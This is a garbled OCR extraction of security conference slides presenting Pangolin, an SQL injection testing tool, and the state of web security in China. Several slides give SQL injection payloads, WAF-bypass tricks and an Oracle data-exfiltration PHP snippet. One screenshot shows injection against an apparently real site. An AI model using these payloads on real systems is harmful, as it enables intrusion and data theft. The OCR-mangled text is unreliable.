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~ WWW.360.CN About me

* Pangolin

« JSky

« WWW.lIScan.com -> webscan.360.cn

« NOSEC.ITD. Founder

« 360 Web security Department Supervisor
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http://www.iiscan.com/
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@ 360 Outline
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» Pangolin Detalls

* Web security situation in China
* Web security testing
* Demo
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‘ WWW.360.Cn What is Pangolin?

« SQL Injection pen-test tool
* 100,000 users
o I: ast ?‘E:';ng:i;- ;m;zirjriltm;r::on World - = X

YRR P X P PR F TP

| - |GET -
[ Easy to use LEJ}R; None 08 Unknown L EER
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S Www.Sso.cn Technical Tree
* Charset » (Google hacking

- Database support « Privileae Escalation

« Auto-keyword >mote data

« Union-based

* Error-based So many...

« GET/POSTI/C« NAF

* File operation « customizable headers

« Cmd operation « Authentication

« Fast Dump « MD5 crack



a %WQQ Keyword auto-extracting

/lright1F0right2BY325ER0
r0 = LCS(std::wstring(rightl), std::wstring(right2));
/lright1Fdwrong1EXright 14582087 R1
rl = LeftPart(std::wstring(rightl), std::wstring(wrong1l));
lIright2Fdwrong2BXright24F 8207 R2
r2 = LeftPart(std::wstring(right2), std::wstring(wrong2));
[IROFIR1ZZEERS
r3 =LCS(r0, rl);
IIR2FIR3AZEEME R B FLE
r4 = LCS(r2, r3);
LeftPart: SES DIFF
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* Char translate
« HPP
 GET with POST parameters




q‘} %WQQ Bypass WAF : Char translate

 Spaceto TAB

« Space to /**/ or %09 or +
* selectto selEcT

* select to se%lec%ot
 ‘string’ to OXAAAAAA

« String to %0AA%AA%AA
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Bypass WAF : HPP

 http://www.blackhat.com/docs/webcast/bh

webcast28-balduzzi.pdf

* http://www.google.com/search?q=italy&q=

china

_— www.cameraitacina.com/ - 71 HLEE -
’ < i | r
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i’ italy china - Google ... X +
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Google italy china Q|
%21 659,000,000 £2£5 (=ed 0.21 ) GEEE
Q Fiazs R BRFERY(EE)ER, 77 B0 HEREES
@ BR ltaly China
B e www_italyvac.cn/ - 00 HR B3
-
& #E China-taly chamber of commerce - Home
@ - (BIEHE ]



http://www.blackhat.com/docs/webcast/bhwebcast28-balduzzi.pdf
http://www.blackhat.com/docs/webcast/bhwebcast28-balduzzi.pdf
http://www.blackhat.com/docs/webcast/bhwebcast28-balduzzi.pdf
http://www.blackhat.com/docs/webcast/bhwebcast28-balduzzi.pdf
http://www.google.com/search?q=italy&q=china
http://www.google.com/search?q=italy&q=china
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* http://www.80sec.com/?p=244

GET /1.asp HTTP/1.1

Host: 192.168.239.129

Content-Length: 34

Content-Type: application/x-www-form-urlencoded

t="/**/or/**/1=1—

Request:’/**/or/**/1=1—-



http://www.80sec.com/?p=244

‘*} 360 Bypass WAF : select keyword?
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* PHP filter code:
preg_match('/(and|or|union|where|limit|gro
up by|select)/i', $id)

* Filtered injection: 1 || (select
substr(gruop_concat(user_id),1,1) user
from users) = 1

« Bypassed injection: 1 || 1 =1 into outfile
'result.txt' Bypassed injection: 1 ||
substr(user,1,1) ='a'



g 360 Oracle remote data
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<?php$txt=fopen("oracle_info.txt","w");%id
='0%if(isset($_REQUESTT'Id'])){$id=$ RE
QUESTT'id']; }write($txt, $id);fclose($txt);?>

A LLISZSTE
ZD L_Ilillﬁng

Setting R
% Proxy ) Scan O Advance E Orade | URL Operation | Metwer k
DDDDDDD ta

te Data http: ff nosec,org/product/orade_data.php?id=|

RRRRRRR fo URL  httpsffwwew, nosec, org/productforade_info, tit
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Oracle remote demo

t+ httrn vl -

2(

@' Pangolin - Amazing SQL Injection World - @A x
: File Scan Edit Tool Help -
@ [E] |4 _ P Bh - S~ [ ol e i i _
0 PHBL D B LA PN OLD A RS GO0L
URL http: [fwww.dsme. co.kr fserviet/Showarticle ?entn_id=NEWSART&f_cmd =view&cpage=18dcmt_rgsr_no=25% -~ GET -
Type String - | DB Orade * Keyword WSZAHY DT LA 3201 FHE 7

o

TabIeICqumn Count LSER_PWD ISER_LEVEL
- Oswvertest 2l - 110505 1
USER_ID n

=- [ TB_ADMIN
- [4 User_PWD :
- [A USER_LEVEL d
M user_nm [3f
- [0 TB_APF_ARMS C... r

. [1 TR APP ARMS ...
< i | »

4 | T | 3
[ one by one
@ Inﬁrmaliﬂnsl Datas ‘@ Oracle Remote Data | [52] Orade Query | s Orade 05 Command | | ] FileReader

Tables Columns All Datas 1=1 Save

Get http url @ http: Mfwww.dsme. co.krfservietiShowartide?ontn_ id=MEWSARTA&f cmd=view&rpage=18dont rgsr no=2549'%200r 36200
Get http url : hitp: {fwww.nosec. orgiproductforade_info. b

Get table : TEMP_TT 2008

Get http url : hitp: dfwww, dsme. co.krfserviet/Showartide?anin_id=MNEWSART&S cmd=view&cpage=1&dcmt rgsr no=254’9'%200r%20dg|
Get http url & hitp: /fwww.nosec.orafproductforade info.txt =

4 [ >
Ej Stopped!

cmd=vie
ect%20u
y7Cchr(1
1(119)%
10)%7C
%7C%7
C%7Cc
0 7Cchr(
Cchr(47)
(99)%7C
%7C%7
o7 Cchr(
Cchr(105
|1d%20fr
wnum%
»20and%
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: WWW.360.CNn What's next?

* Mysql injection with error

* Mysql injection with bit shifting
* And so much more......

* \We need you to join us

F
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* Pangolin Detalils
* Web security situation in China

* Web security testing
* Demo
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Some sites some people

* Wooyun.org
« 80sec.com
 80vul.com




@ %wéoo What web site feel?

B Trojan horse—__17

m  Tamper
. basic reason : Vunlnerablllty
m Black link

m Backdoor —_L

m DDoS

m  Phishing




WWW.360.CnN
’p‘Hazked By Naive~~ARieiEEL 2N HAES FESUNEERHE.. BER MWD BEY WEE %W IR0 80 r - 0 X
P X | & A onE- Exa- B town.gov.cn, v | BhnE | > gaTE, =iEEE | Q

e [Jamper

© FEHARER - 36052 BER x#E ==V e %W IED v - 0O X
. - o | v || ok v ; f f i
. SeX|ng and Gamblmg X |G| | OEE~||hxEv | B nxzw.gov.cn v | FhniE | >
W ERTE of mige2) HeE Beess Cntk - (@50 Q28 - B5ER @52 - §aFsT -
- SEO 6 mEmammm U
- AL ey | - S A—

. Show off
- Reactionary
- Trojan horse

e Search Engir

19

s - Ak PRks EwebRa @360 (O]Outiook @ETE & 2mey) et - 57 - (B3 - SIEsT -

II'
Baléﬂﬁr HiE RE P AmE wP3 EE M ME S5 #

| site:gov.cn Ry A £

AT Es3l Rl isae REEY (Hh) ]
£THEERIR SRS HALEAS URHEY (AR 1ARZE 1% HEELE

EXTHEHEERNRFRERFRNEE T - B\ DEFEAERN B
www_ycdpe_gov.cn/Mwid1=54068 2011-9-12 - EEHREE

TS SR AR A Axin [eengrenhi 2]

20MFEH2TH . wwww. BEZ com M 18 CHEL N REEK, SR, cHELE
Tt EENHMAESLERE . MARSHERE U T MEAHRDN.

www jiangxian gov.cn/article_class asp?74612 2011-8-28 - §EHREE




-~
i}/ 3560

WWw.580.cn Marketing, Price

B

EE PR1 PR2 PR3 PR4 PRS PR6 Eit HEA
A 3 3 4 3 365 207%
B . 8 5 497 357
C - 6 5 2 37T 455
D . 5 4 2 2 857 657
E - : g 5 907 705
F = = 6 5 2 11055 905
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H EFECHES PREGHE iy
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* Pangolin Detalls
* Web security situation in China
* Web security testing

e Demo
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WWW.360.cn Typlcal flow

* Crawler

— Javascript

— Flash

—Web2.0 (AJAX, RSS...)
* Testing

— OWASP

— WebAppSec

* Pentesting
— Sl Injection
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e Demo
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And more we do

(D) 360T1SAE

360 Site Certification
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K{5: 124149843
QQ: 2319981748



~
@ 360 Outline

WWWwW.360.Cn

* Pangolin Detalls

* Web security situation in China
* Web security testing

* Demo
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 Dedecms Oday
« Zuitu Oday
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Thanks!
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